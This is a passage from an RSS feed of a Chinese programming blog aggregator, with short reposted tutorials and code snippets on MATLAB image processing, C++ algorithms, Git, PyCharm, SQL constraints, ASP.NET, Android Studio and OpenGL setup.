      <description>clear all; close all; clc; img1=imread(&#39;Corner.png&#39;); img2=imread(&#39;Corner1.png&#39;); img3=imread(&#39;Corner2.png&#39;); img1=imresize(img1,[35 90]); %Matlab的svd不支持太大的数据，我把数据变小了. img2=imresize(img2,[35 90]); img3=imresize(img3,[35 90]); [height width]=size(img2); a=reshape(double(img1),1,35*90); b=reshape(double(img2),1,35*90); c=reshape(double(img3),1,35*90); ma=mean(a); mb=mean(b); mc=mean(c); a=a-ma; b=b-mb; c=c-mc; x=[a&#39; b&#39; c&#39;]; x=double(x); %y=x&#39;*x/(height*width); %[v d]=eig(y); [u s w]=svd(x); %w相当于排序后的d,用svd就不用求x&#39;*x了 ed=x*w;%v; img4=zeros(height,width); img4=reshape(ed(:,1),height,width); img5=zeros(height,width); img5=reshape(ed(:,2),height,width); img6=zeros(height,width); img6=reshape(ed(:,3),height,width); imshow(mat2gray(img4)); figure,imshow(mat2gray(img5)); figure,imshow(mat2gray(img6)); 参考：&#xA;1.http://iiec.cqu.edu.cn/wiki/index.php/SVD%E4%B8%8EPCA%E7%9A%84%E7%93%9C%E8%91%9B&#xA;转载于:https://www.cnblogs.com/tiandsp/archive/2012/05/02/2478991.html</description>
    </item>
    <item>
      <title>最小二乘直线拟合</title>
      <link>https://bchobby.github.io/posts/45a09f95ba320d38bf47e9dff60b8d15/</link>
      <pubDate>Fri, 05 Jul 2019 17:57:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45a09f95ba320d38bf47e9dff60b8d15/</guid>
      <description>#include &amp;lt;iostream&amp;gt;&#xA;using namespace std;&#xA;int nihe(double *x,double *y,int N)&#xA;{&#xA;double a0=0;&#xA;double a1=0;&#xA;double sum_x_square=0;&#xA;double sum_x=0;&#xA;double sum_y=0;&#xA;double sum_x_y=0;&#xA;double x_sum_square=0;&#xA;for (int i=0;i&amp;lt;N;i++)&#xA;{&#xA;sum_x_square+=x[i]*x[i];&#xA;sum_y+=y[i];&#xA;sum_x+=x[i];&#xA;sum_x_y+=x[i]*y[i];&#xA;}&#xA;x_sum_square=sum_x*sum_x;&#xA;a0=((sum_x_square*sum_y)-(sum_x*sum_x_y))/(N*sum_x_square-x_sum_square);&#xA;a1=((N*sum_x_y)-(sum_x*sum_y))/(N*sum_x_square-x_sum_square);&#xA;cout&amp;lt;&amp;lt;a0&amp;lt;&amp;lt;endl;&#xA;cout&amp;lt;&amp;lt;a1&amp;lt;&amp;lt;endl;&#xA;return 0;&#xA;}&#xA;int main()&#xA;{&#xA;double x[]={1,2,3,4,5};&#xA;double y[]={1,3,3,5,5};&#xA;int s;&#xA;s=nihe(x,y,5);&#xA;system(&#34;pause&#34;);&#xA;return 0;&#xA;} 转载于:https://www.cnblogs.com/tiandsp/archive/2012/03/21/2409962.html</description>
    </item>
    <item>
      <title>随机化快速排序</title>
      <link>https://bchobby.github.io/posts/24f01f2a908485c381ca61ae81d08db6/</link>
      <pubDate>Fri, 05 Jul 2019 17:57:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24f01f2a908485c381ca61ae81d08db6/</guid>
      <description>#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;time.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;using namespace std;&#xA;int random(int a,int b)&#xA;{&#xA;srand(NULL);&#xA;return rand()%(b-a)+a;&#xA;}&#xA;void exchange(int &amp;amp;a,int &amp;amp;b)&#xA;{&#xA;int temp;&#xA;temp=a;&#xA;a=b;&#xA;b=temp;&#xA;}&#xA;int partition(int *a,int p,int r)&#xA;{&#xA;int x=a[r];&#xA;int i=p-1;&#xA;for (int j=p;j&amp;lt;r;j++)&#xA;{&#xA;if (a[j]&amp;lt;=x)&#xA;{&#xA;i=i+1;&#xA;exchange(a[i],a[j]);&#xA;}&#xA;}&#xA;exchange(a[i+1],a[r]);&#xA;return i+1;&#xA;}&#xA;int randomized_partition(int *a,int p,int r)&#xA;{&#xA;int i=random(p,r);&#xA;exchange(a[r],a[i]);&#xA;return partition(a,p,r);&#xA;}&#xA;void randomized_quicksort(int *a,int p,int r)</description>
    </item>
    <item>
      <title>matlab练习程序（图像加噪，各种滤波）</title>
      <link>https://bchobby.github.io/posts/fd107a9380bee4ec6abeecd220deca4f/</link>
      <pubDate>Fri, 05 Jul 2019 17:56:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd107a9380bee4ec6abeecd220deca4f/</guid>
      <description>cl;&#xA;img=imread(&#39;3.17.tif&#39;);&#xA;imgn=imnoise(img,&#39;salt &amp;amp; pepper&#39;,0.02);&#xA;[m n]=size(img);&#xA;%h=fspecial(&#39;average&#39;,[3 3]); % 3*3的均值滤波&#xA;%imgn1=imfilter(imgn,h,&#39;replicate&#39;);&#xA;%imgn=medfilt2(imgn,[3 3]); % 3*3的中值滤波&#xA;%%%%自己编写3*3均值滤波&#xA;%{&#xA;tem=0;&#xA;for i=2:1:m-1&#xA;for j=2:1:n-1 for p=i-1:1:i+1&#xA;for q=j-1:1:j+1&#xA;tem=tem+double(imgn(p,q));&#xA;end&#xA;end&#xA;tem=tem/9;&#xA;imgn(i,j)=tem;&#xA;tem=0;&#xA;end&#xA;end&#xA;%}&#xA;%%%%自己编写3*3中值滤波&#xA;%{&#xA;s=zeros(1,9);&#xA;for i=2:1:m-1&#xA;for j=2:1:n-1 he=1;&#xA;for p=i-1:1:i+1&#xA;for q=j-1:1:j+1 s(he)=imgn(p,q);&#xA;he=he+1; end&#xA;end&#xA;s=sort(s);&#xA;imgn(i,j)=s(5);&#xA;end&#xA;end&#xA;%}&#xA;imshow(imgn) 转载于:https://www.cnblogs.com/tiandsp/archive/2012/01/07/2316098.html</description>
    </item>
    <item>
      <title>回调函数c&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/88699b4d1dcb668199843831c61a8979/</link>
      <pubDate>Fri, 05 Jul 2019 17:56:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88699b4d1dcb668199843831c61a8979/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt;&#xA;typedef void (* FP)(unsigned int a,unsigned int b);&#xA;//void DataDeal(FP PCB);&#xA;//void PointerReceive(unsigned int a,unsigned int b);&#xA;//void Pointer(unsigned int a,unsigned int b);&#xA;////&#xA;void Pointer(unsigned int a,unsigned int b)&#xA;{&#xA;a = (a&amp;gt;b)?a : b;&#xA;printf(&#34;THE BIG ONE IS = %d&#34;,a);&#xA;}&#xA;void PointerReceive(unsigned int a,unsigned int b)&#xA;{&#xA;Pointer(a,b);&#xA;}&#xA;void DataDeal(FP PCB)&#xA;{&#xA;unsigned int m,n;&#xA;m = 5;&#xA;n = 8;&#xA;PCB(m,n);&#xA;}</description>
    </item>
    <item>
      <title>matlab练习程序（生成加密p文件）</title>
      <link>https://bchobby.github.io/posts/5be6ae047f6af6e147889508f7723f6f/</link>
      <pubDate>Fri, 05 Jul 2019 17:56:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5be6ae047f6af6e147889508f7723f6f/</guid>
      <description>其实就生成加密文件这种事情是有违自己的人生哲学的，不过作为一个技巧倒也无所谓了，反正我自己是不会对代码加密什么的（半年前做kinect项目的时候，我就很不情愿的把代码加密了）。&#xA;代码就下面一句话：&#xA;pcode yourfile.m&#xA;生成的 yourfile.p就是你的加密文件，别人是看不到代码的，调用和m文件调用一样。&#xA;转载于:https://www.cnblogs.com/tiandsp/archive/2012/11/13/2768662.html</description>
    </item>
    <item>
      <title>MATLAB中的rand()和randn()函数</title>
      <link>https://bchobby.github.io/posts/47eddcec3664a9e72508646b165a09d1/</link>
      <pubDate>Fri, 05 Jul 2019 17:07:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47eddcec3664a9e72508646b165a09d1/</guid>
      <description>在Matlab中，rand是0-1的均匀随机分布，而randn是均值为0方差为1的正态分布。&#xA;1.rand()是0-1的均匀随机分布 介绍 例子 举个例子：X = rand 产生一个在（0，1）区间内的随机数。&#xA;X = rand(n)或X = randn(n)产生一个n*n的随机变量矩阵。&#xA;X = rand(m,n)或X = randn(m,n)产生一个m*n的随机变量矩阵。&#xA;2.randn()是均值为0方差为1的标准正态分布 介绍 例子 3.正态分布（Normal Distribution） 正态分布（Normal distribution），也称“常态分布”，又名高斯分布（Gaussian distribution），最早由A.棣莫弗在求二项分布的渐近公式中得到。C.F.高斯在研究测量误差时从另一个角度导出了它。P.S.拉普拉斯和高斯研究了它的性质。是一个在数学、物理及工程等领域都非常重要的概率分布，在统计学的许多方面有着重大的影响力。&#xA;正态曲线呈钟型，两头低，中间高，左右对称因其曲线呈钟形，因此人们又经常称之为钟形曲线。&#xA;若随机变量X服从一个数学期望为μ、方差为σ^2的正态分布，记为N(μ，σ^2)。其概率密度函数为正态分布的期望值μ决定了其位置，其标准差σ决定了分布的幅度。当μ = 0,σ = 1时的正态分布是标准正态分布。&#xA;3.1 正态分布标准化变换 3.2 正态分布公式 3.3 正态分布性质 3.4 正态分布的应用 1.频数分布以及概率估计。2.制定参考值范围，包括正态分布法和百分位数法。3.质量控制，SPC技术应用的核心。4.正态分布是检验、方差分析、相关和回归分析等多种统计方法的理论基础。 3.5 中心极限定理（Central Limit Theorem） 中心极限定理指的是给定一个任意分布的总体。我每次从这些总体中随机抽取 n 个抽样，对这n个抽样取平均值，总共抽取关计算 m 次。 则这m个平均值数据分布接近正态分布。正态分布的直观理解请参考正态分布初步理解。&#xA;4.正态分布MATLAB画法 首先给出正态分布概率密度函数（The normal distribution probability density function）的公式和标准正态分布概率密度函数的公式，然后通过normpdf( )生成标准正态分布概率密度函数的数据，然后通过plot( )绘制标准正态分布概率密度函数的图形。&#xA;4.1 正态分布概率密度函数的公式如下图。其中，μ为平均值（mean），σ为标准差（standard deviation）。 4.2 当μ=0，σ=1时，第一步中的正态分布为标准正态概率密度函数，如下图。 4.3 启动MATLAB，新建脚本（Ctrl+N），输入如下代码： 其中normpdf(x,0,1)是用来产生μ=0，σ=1的标准正态分布概率密度函数的数据。&#xA;close all; clear all; clc x=-1:.</description>
    </item>
    <item>
      <title>MATLAB中的乘除法 “ * ” 和 “ .* ”  and  “ / ” 和 “ ./ ”</title>
      <link>https://bchobby.github.io/posts/63661af1970cc4a8f372038508612302/</link>
      <pubDate>Fri, 05 Jul 2019 16:21:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63661af1970cc4a8f372038508612302/</guid>
      <description>1、* 和 .* 的区别&#xA;（1）* 就是通常我们在线性代数中使用的矩阵乘法的符号，设A是m*n矩阵，B是n*t矩阵，则A*B是m*t矩阵（A*B只要求A的列数=B的行数）。&#xA;举例：&#xA;则：&#xA;（2）.* 和平时所使用的* 是不同的，.* 只能应用在同型的矩阵中，若A是m*n矩阵，则B也必须是m*n矩阵，A.* B的(i，j)个值是A的(i，j)的值*B的(i，j)的值。&#xA;举例：&#xA;则：&#xA;2、/ 和./的区别&#xA;（1）A/B和线性代数中A*B逆是一样的。但是要求A与B是同型矩阵。&#xA;举例：&#xA;则：&#xA;（2）./是与.*相逆的运算，./的矩阵A和B也要求是同型矩阵。&#xA;举例：&#xA;则：&#xA;3、 &#34;.\&#34;的x = B.\A解释如下&#xA;x=b.\a ：将a的每个元素除以b的相应元素。&#xA;如果A和B是数组，那么它们的大小必须相同；如果a或b是一个标量，那么matlab会将该标量值扩展到适当大小的数组中。&#xA;x=ldivide（b，a）是将a除以b的另一种方法，但很少使用。</description>
    </item>
    <item>
      <title>代码提交到Github的3种方法</title>
      <link>https://bchobby.github.io/posts/600d1d5886508dc4ddd0eefb4f242208/</link>
      <pubDate>Fri, 05 Jul 2019 15:19:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/600d1d5886508dc4ddd0eefb4f242208/</guid>
      <description>我们平时做的一些东西，开发的一些东西想放到网上去提供给别人查看，下载，放到github上是比较好的选择,你也可以去github上去查看别人分享的源代码&#xA;以前上传的时候经常出错，在这里我总结了几种把代码上传到github上去的方法，希望可以帮助大家&#xA;准备工作 首先你得有一个github的账号，没有的话去注册一个吧 github官网如果没下安装git那是不行的，下载一个git git官网最好能熟悉一下git的相关命令 推荐廖雪峰讲的git 代码上传到github步骤(方法一) 首先打开github官网，登录到github点击 your repositories，创建一个新的工写好项目名称这时候一个项目就创建好了(这里只是一个空的工程)增加README.md 文件，有时候没有这个文件，工程是提交不了代码的然后使用git clone命令把你自己的工程路径复制，然后在你本地想要放的目录执行，然后项目就可以下载到你的本地在这里进行一些修改，然后提交(修改前的图片)提交的时候，如果是没有设置git 的全局用户名和邮箱，那里会提示你设置然后把代码提交，这时会提示你输入github账号名和密码，输入成功，代码提交成功&#xA;新增的test.txt和main文件夹提交成功 代码上传到github步骤(方法二) echo &#34;# CommandProject&#34; &amp;gt;&amp;gt; README.md git init git add README.md git commit -m &#34;first commit&#34; git remote add origin https://github.com/xusong0621/CommandProject.git git push -u origin master 首先在本地创建一个文件夹，进入这个文件夹使用 git init 初始化这个文件夹，成功后就会多一个.git的文件夹。增加README.md文件，git add README.md把新建的文件本地提交 git commit -m “first commit”然后在github新建一个工程，可以参考 方法一的步骤 2和3工程创建之后，复制工程的地址 执行命令 git remote add origin https://github.com/xusong0621/CommandProject.git，你自己创建的工程，使用自己的地址然后新增工程的相关文件信息提交 代码上传到github步骤(方法三) github有桌面版本，这个是下载地址github desktop,这个是傻瓜式的&#xA;如果有兴趣可以去查看它的使用github desktop使用&#xA;gitthub使用总结 这里有三种方法都是可行的，个人强制推荐前二种方法，因为现在大多数的公司使用的同步工具都是&#xA;git, 做复杂一点的合并，打分支，打tag,等等都是用命令行工具。</description>
    </item>
    <item>
      <title>最全Pycharm教程（43）——Pycharm扩展功能之UML类图使用 代码结构</title>
      <link>https://bchobby.github.io/posts/c902ff6f884e2f7f3c9502d8309a03b7/</link>
      <pubDate>Fri, 05 Jul 2019 13:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c902ff6f884e2f7f3c9502d8309a03b7/</guid>
      <description>版权声明：本文为博主原创文章，转载时麻烦注明源文章链接，谢谢合作 https://blog.csdn.net/u013088062/article/details/50353202&#xA;1、什么是UML&#xA;UML类图能够快速检查代码结构。&#xA;2、主题&#xA;UML类图在Pycharm中的用法。&#xA;3、准备工作&#xA;（1）Pycharm版本为2.7或更高&#xA;（2）安装Python解释器&#xA;（3）UML插件以及UML类图插件安装并能正常使用&#xA;4、准备一个例子&#xA;创建一个Animals模块以及 Mammal.py文件（Alt+Insert→Python Package, Python File），输入以下代码：&#xA;继续向其中添加更多类，例如Carnivore和Herbivore。&#xA;5、通过UML类图浏览程序结构&#xA;假设我们想查看mammals的派生结构，在Project tool window窗口中，右击Mammal.py，指向快捷菜单中的 Diagrams节点，选择如下可用命令：&#xA;（1）Show Diagram：在当前编辑选项卡内打开UML类图&#xA;（2）Show Diagram Popup：在单独窗口中显示UML类图&#xA;选择mammals中的一个类（例如marsupials），用UML类图查看它：&#xA;也可以使用快捷键Ctrl+Alt+U（当前窗口）或Ctrl+Alt+Shift+ U（独立窗口）。&#xA;单击和按钮查看详细信息：&#xA;也可以使用快捷菜单：&#xA;更多工具栏及快捷菜单的功能参见Class Diagram Toolbar and Context Menu页。&#xA;接下来向其中加入注释。选择想要注释的元素，按下Alt+Insert：&#xA;回车，输入注释内容：&#xA;单击OK，注释添加完毕：&#xA;6、结构图与源码间导航&#xA;如何从结构图跳转到响应的源码位置？&#xA;在结构图中选择一个节点元素，按下F4或者右键快捷菜单选择Jump to Source命令：&#xA;7、UML结构图作用&#xA;8、查找所有引用&#xA;在结构图中选择一个节点元素，右击，在快捷菜单中选择Find Usages，或者使用Alt+F7快捷键：&#xA;9、重构&#xA;可以直接在类图中对类或者成员就行重构（重命名等）。&#xA;在类图中右击待修改的节点，指向Refactor命令，在子菜单中选择对应命令。&#xA;例如你希望对一个类进行重命名，需要在类图中选中它，然后选择Refactor→Rename快捷菜单命令或者按下Shift+F6：&#xA;10、向模型中添加元素&#xA;按下Space，在弹出的窗口中输入类型和名称：&#xA;添加Carnivore：&#xA;接下来手动创建更多类，如 Carnivore或Herbivore，指定mammal类型。例如Cow继承了Herbivore 和Eutherian。Tiger继承了Carnovire 和Eutherian。 Duckbill 继承了Herbivore 和Marsupial，TasmanianDevil继承了Carnivore 和Marsupial：&#xA;按下Space，将这些类加入类图：&#xA;单击按钮，优化显示风格：&#xA;11、从类图中移除元素&#xA;在类图中选中一个元素，Delete：</description>
    </item>
    <item>
      <title>约束与索引</title>
      <link>https://bchobby.github.io/posts/f25fa456a4dd0635966c67fa8756f900/</link>
      <pubDate>Fri, 05 Jul 2019 11:52:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f25fa456a4dd0635966c67fa8756f900/</guid>
      <description>非空约束 Not Null create table emp (emp_id nvarchar(9) not null, emp_name nvarchar(50) not null, ) 当一列被创建时，可以使用not null约束，空值null 等于没有或未知道，该表的两个列不允许插入null或者不设置值。 主键约束 primary key 用于标识表中一行数据是唯一的，主键通常由一列组成，但也可以多列共同组成主键。主键是一个隐性约束 create table emp (emp_id nvarchar(9) not null primary key, emp_name nvarchar(50) not null, ) alter table emp add constraint emp_name_pk primary key(emp_name) 改变一个表的约束 唯一约束 UNIQUE 是指约束在指定列上的值必须唯一，它和主键约束类似，当在一个表上的一列放置主键约束时，可以在另一列上放置唯一约束。主键比约束唯一多了数据提供顺序和在查询中用于连接表之外，主键约束和唯一约束没有太大区别。 create table emp (emp_id nvarchar(9) not null primary key , emp_name nvarchar(50) not null unique,) 外键约束 foreign key (父子表) create table emp_pay (emp_id nvarchar(9) not null, posititon varchar(15) not null, pay_rate nvarchar(50) not null, ) go alter table emp_pay add constraint emp_id_fk foreign key(emp_id) references emp(emp_id); go 校验约束 用来检查输入到表中某一特定列的数据的有效性，一般应用程序在前台也要校验数据是否有效，数据库的校验提供了另一种实现数据的保护方式。 ADD CONSTRAINT CK_stuAge CHECK(stuAge BETWEEN 15 AND 40) add constraint chk_emp_zip check ( emp_zip = &#39;050021&#39;) add constraint chk_emp_zip check ( emp_zip in ( &#39;050021&#39;,&#39;050000&#39;,021111&#39;)) add constraint chk_emp_pay check (pay_rate &amp;gt; 12.</description>
    </item>
    <item>
      <title>ASP.NET几种传值方式</title>
      <link>https://bchobby.github.io/posts/856b3d36692d0dc4b80c6a450fa963d8/</link>
      <pubDate>Fri, 05 Jul 2019 11:51:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/856b3d36692d0dc4b80c6a450fa963d8/</guid>
      <description>1、QueryString&#xA;特点：值参数显示在地址栏中。&#xA;适用于安全性不高和简单的数值，但是长度有限。&#xA;例如：&#xA;传值方式：Response.Redirect(&#34;../Login.aspx?UserName=&#34; + this.txt_UserName.Text.Trim());&#xA;取值方式：Request.QueryString[&#34;UserName&#34;]&#xA;2、Session&#xA;特点：存放在服务器端，占用服务器资源。&#xA;传值方式：Session[&#34;UserName&#34;] = this.txt_UserName.Text.Trim();&#xA;取值方式：this.txt_UserName.Text = Session[&#34;UserName&#34;] != null ? Session[&#34;UserName&#34;].ToString() :&#34;&#34;;&#xA;3、Cookie&#xA;特点：存放在客户端，不占服务器资源，需要配合Request使用。&#xA;传值方式：&#xA;HttpCookie _cookie = new HttpCookie(&#34;UserName&#34;);&#xA;_cookie.Value = &#34;Tim&#34;;&#xA;Response.AppendCookie(_cookie);&#xA;Server.Transfer(&#34;../Login.aspx&#34;);&#xA;取值方式：&#xA;string userName = Request.Cookies[&#34;UserName&#34;]!=null?Request.Cookies[&#34;UserName&#34;].ToString():&#34;&#34;;&#xA;4、Application&#xA;特点：全局变量，使用时配合Lock和Unlock方法。&#xA;传值方式：Application[&#34;username&#34;] = &#34;Tim&#34;;&#xA;取值方式：Application.Lock();string username = Application[&#34;username&#34;].ToString();Application.UnLock();&#xA;5、Server.Transfer&#xA;特点：将当前页面引导到另一个页面，新的页面使用前页面的应答流。&#xA;传值方式：&#xA;Server.Transfer(&#34;Login.aspx&#34;);&#xA;取值方式：&#xA;方法1、TextBox txt = (TextBox)PreviousPage.FindControl(&#34;TextBox1&#34;);&#xA;方法2、当前页面public string username{return this.textbox1.text;};&#xA;另一个页面头部引用&amp;lt;%@ Reference Page=&#34;~/Login.aspx&#34; %&amp;gt;&#xA;页面内&#xA;Login webForm = Context.</description>
    </item>
    <item>
      <title>获取不到Gist id？解决gist.github.com无法访问的办法</title>
      <link>https://bchobby.github.io/posts/ee1ed7aadf30ba7bfa4f6fc153175b86/</link>
      <pubDate>Fri, 05 Jul 2019 10:16:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee1ed7aadf30ba7bfa4f6fc153175b86/</guid>
      <description>办法超简单，如下图：&#xA;在编辑器打开HOSTS文件，在最后一行添加192.30.253.118 gist.github.com，如下图：&#xA;HOSTS文件的作用？&#xA;Hosts是将一些常用的网址域名与其对应的IP地址建立关联的”数据库”——用户在浏览器输入网址时，系统优先从Hosts文件中寻找对应的IP地址，找到后自动打开对应网页；若没有找到，则再将网址提交DNS域名解析服务器进行IP地址的解析。（更多关于HOSTS文件的详细说明可自行百科） *欢迎关注前端小讴的github，阅读更多原创技术文章</description>
    </item>
    <item>
      <title>读取和写入文本文件</title>
      <link>https://bchobby.github.io/posts/8226256c3012faca5474010387eed6bc/</link>
      <pubDate>Fri, 05 Jul 2019 09:05:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8226256c3012faca5474010387eed6bc/</guid>
      <description>读取和写入文本文件 Read a Text File 的这篇文章部分描述如何使用 StreamReader 类来读取文本的文件。Write a Text File (Example 1)，和 Write a Text File (Example 2) 在各节说明了如何使用 StreamWriter 类来向文件写入文本。&#xA;读取文本文件 若要打开、 读取，和来关闭文本文件，下面的代码使用 StreamReader 类。您可以将文本文件的路径传递给 StreamReader 构造函数自动打开该文件。ReadLine 方法读取的每一行文本，并读取递增到下一行将文件指针。当 ReadLine 方法到达文件结尾时, 它将返回空引用。 在记事本中创建示例文本文件。若要这样做，请按照下列步骤操作： 在记事本中粘贴以下文本： hello world 将文件另存为 Sample.txt。启动 Microsoft Visual Studio。 在 文件 菜单上指向 新建，然后单击 项目。 在 项目类型 框中，单击 Visual C# 项目，然后单击 模板 下的 控制台应用程序&#xA;注意在 Visual Studio 2005 或 Visual Studio 2008 中在 项目类型 框中，单击 Visual C#，然后单击在 模板 下的 控制台应用程序。 Class1.</description>
    </item>
    <item>
      <title>Android Studio与Genymontion的安装</title>
      <link>https://bchobby.github.io/posts/cff337dc294a6d2069c01218927886bf/</link>
      <pubDate>Fri, 05 Jul 2019 06:45:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cff337dc294a6d2069c01218927886bf/</guid>
      <description>需要安装的软件： VirtualBox 5.1.4 Genymotion 2.7.2&#xA;Android Studio 2.1.2&#xA;安装步骤：&#xA;使用安装版安装Android Studio 1. 执行android-studio-bundle-143.2915827-windows.exe，可以看到欢迎页：&#xA;2. 在选择安装组件中，虚拟机可以不用安装&#xA;3. 接下就一直Next直到安装完成&#xA;使用绿色版安装Android Studio 1. 用解压工具将zip压缩包解压，解压后的目录结构：&#xA;2. 执行bin目录下的studio64.exe&#xA;第一次启动Android Studio的相关配置 1. 在启动过程中可能会弹出一个请求设置代理的提示：&#xA;点击”Setup Propxy”按钮设置代理：&#xA;Host name：mirrors.neusoft.edu.cn&#xA;Port number: 80&#xA;2. “欢迎页”告诉我们可以开发平板、手机、手表、TV、车载和眼睛的相关应用。&#xA;3. 点击“Next”按钮，在选项窗口中选择”Custom“选项&#xA;4. UI主题可以选择目前比较流行的“Darcula”主题，据说这个主题有保护眼睛的功效&#xA;Android Stuido基本配置 可以通过快捷键Ctrl+Alt+S或点击“Configure”后弹出菜单项的Settings打开设置窗口。&#xA;主题配置 可以设置成目前比较流行的Darcula主题，通过Appearance &amp;amp; Bahavior &amp;gt; Apperance下的UI Options选项设置。&#xA;字体配置 默认字体偏小个了，可以根据需要配置合适自己的字体大小，通过Editor-&amp;gt;Color &amp;amp; Fonts &amp;gt; Font设置。默认方案是只读的，在修改字体大小前需要先Save As..一下再去修改字体：&#xA;显示代码行数 默认Android Studio不显示代码行数，这样对于一些提示XX行的错误我们定位就不方便了，在配置的查询窗口中输入line num关键字查询需要配置的项目，然后选择Appearance选项，可以看到Show line numbers选项，打钩后就可以了。&#xA;模拟器安装 Android Stuido里面的AVD Manager可以创建模拟器，使用起来也比较简单，缺点就是性能不行，现在比较流行使用Genymotion，号称史上最快的Android模拟器。下面我们就来装Genymontion。&#xA;安装Virtual Box 点击这里打开Virtual Box下载页面并点击x86/amd64下载：</description>
    </item>
    <item>
      <title>http长链接问题</title>
      <link>https://bchobby.github.io/posts/667f3ffa132fb9a5d4d018889b782963/</link>
      <pubDate>Fri, 05 Jul 2019 05:18:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/667f3ffa132fb9a5d4d018889b782963/</guid>
      <description>http://www.ibm.com/developerworks/cn/web/wa-lo-comet/&#xA;转载于:https://www.cnblogs.com/sunfb/p/4601786.html</description>
    </item>
    <item>
      <title>Android开发者应该深入学习的10个开源应用项目</title>
      <link>https://bchobby.github.io/posts/edbe32f16bd2a2a65468739622746307/</link>
      <pubDate>Fri, 05 Jul 2019 05:18:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edbe32f16bd2a2a65468739622746307/</guid>
      <description>Android开发带来新一轮热潮让很多移动开发者都投入到这个浪潮中去了，创造了许许多多相当优秀的应用。其中也有许许多多的开发者提供了应用开 源项目，贡献出他们的智慧和创造力。学习开源代码是掌握技术的一个最佳方式。下面推荐几个应用开源项目，这些项目不仅提供了优秀的创意，也可以直接掌握 Android内核的接口使用：&#xA;1.Android团队提供的示例项目&#xA;如果不是从学习Android SDK中提供的那些样例代码开始，可能没有更好的方法来掌握在Android这个框架上开发。由Android的核心开发团队提供了15个优秀的示例项目，包含了游戏、图像处理、时间显示、开始菜单快捷方式等。&#xA;地址：http://code.google.com/p/apps-for-android/&#xA;2.Remote Droid&#xA;RemoteDroid是一个Android应用，能够让用户使用自己的无线网络使用无线键盘、触摸屏操作手机。这个项目为开发者提供了如网络连接、触摸屏手指运动等很好的样例。&#xA;地址：http://code.google.com/p/remotedroid/&#xA;3.TorProxy和Shadow&#xA;TorProxy应用实现了Android手机无线电电传通讯(TOR)，和Shadow应用一起使用，可以使用手机匿名上网。从该项目源代码中，可以掌握socket连接、管理cookie等方法。&#xA;地址：http://www.cl.cam.ac.uk/research/dtg/code/svn/android-tor/&#xA;4、 Android SMSPopup&#xA;SMSPopup可以截获短信内容显示在一个泡泡形状的窗口中。从这个项目中可以掌握到如何使用内置的短信SMS接口。&#xA;地址：http://code.google.com/p/android-smspopup/&#xA;5、 Standup Timer&#xA;Standup Timer应用用于控制站立会议时间，类似秒表倒计时，可以提醒每个人的讲话时间已到，从而保证每个与会者使用时间一样。从该项目的代码中，可以学会如何使用时间函数。另外，这个项目的代码是采用视图view、模型model严格分离的设计思路。&#xA;地址：http://github.com/jwood/standup-timer&#xA;6、 Foursquare&#xA;是Foursquare.com的一个客户端应用，该应用主要分为两个模块：API(com.joelapenna.foursquare)和 界面前端(com.joelapenna.foursquared)两部分。从该项目代码中，可以学会如何同步、多线程、HTTP连接等技术。&#xA;地址：http://code.google.com/p/foursquared/&#xA;7、 Pedometer&#xA;Pedometer应用用于记录你每天走路步数的。尽管记录不一定精准，但是从这个项目中，可以学习几个不同的技术：加速器交互、语音更新、后台运行服务等。&#xA;地址：http://code.google.com/p/pedometer/&#xA;8、 OpenSudoku-android&#xA;OpenSudoku是一个简单的九宫格数独游戏。从代码中可以学习到如何在视图中显示表格数据，以及如何和一个网站交互等技术。&#xA;地址：http://code.google.com/p/opensudoku-android/&#xA;9、 ConnectBot&#xA;ConnectBot是Android平台的一个客户端安全壳应用。从该项目代码中，可以学习到很多Android安全方面的内容，这些是你在开发应用时经常需要考虑的安全问题。&#xA;地址：http://code.google.com/p/connectbot/&#xA;10、 WordPress的Android应用&#xA;当然在最后不能不提Wordpress的Android应用了，这是Wordpress官方开发团队提供的一个项目。从代码中可以学习到XMLRPC调用（当然还有更多的优秀内容）。&#xA;地址：http://android.svn.wordpress.org/trunk/&#xA;原文链接：http://www.fly3q.com/2010/06/android-developers-must-thoroughly-study-the-10-applications-open-source-projects.html&#xA;转载于:https://www.cnblogs.com/sunfb/p/3332759.html</description>
    </item>
    <item>
      <title>win7 &#43; vs2010下opengl开发环境</title>
      <link>https://bchobby.github.io/posts/c9acd7a314811abcc02c3ab917995fdf/</link>
      <pubDate>Fri, 05 Jul 2019 03:59:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9acd7a314811abcc02c3ab917995fdf/</guid>
      <description>glut下载地址: http://www.opengl.org/resources/libraries/glut/glutdlls37beta.zip&#xA;1. 把解压得到的glut.h放到&#34;C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Include\gl&#34;（与具体安装位置有关，应该是 安装目录\microsoft sdks\windows\v7.0A\include\gl）&#xA;2. 把解压得到的glut.lib和glut32.lib放到&#34;“Programfiles(x86)\Microsoft Visual studio 10.0\VC\lib&#34; 中（与具体安装位置有关，同上）&#xA;3. 把解压得到的glut.dll放到&#34;C:\Windows\System32&#34;&#xA;4. 把glut32.dll放到“Programfiles(x86)\Microsoft Visual studio 10.0\VC\bin”下(注意这个，网上有人说放到system32里，但是我试过，会报错)（与具体安装位置有关，同上）&#xA;5. 打开vs2010,随便打开或新建一个项目。 选择 project-&amp;gt;project property-&amp;gt; Configuration Properties-&amp;gt;Linker-&amp;gt;Input-&amp;gt;Additional Dependencies 在其中添加opengl32.lib glu32.lib glut32.lib&#xA;新建Win32 Console Application，(不是win32 application).选择一个名字，然后按OK。在谈出的对话框左边点Application 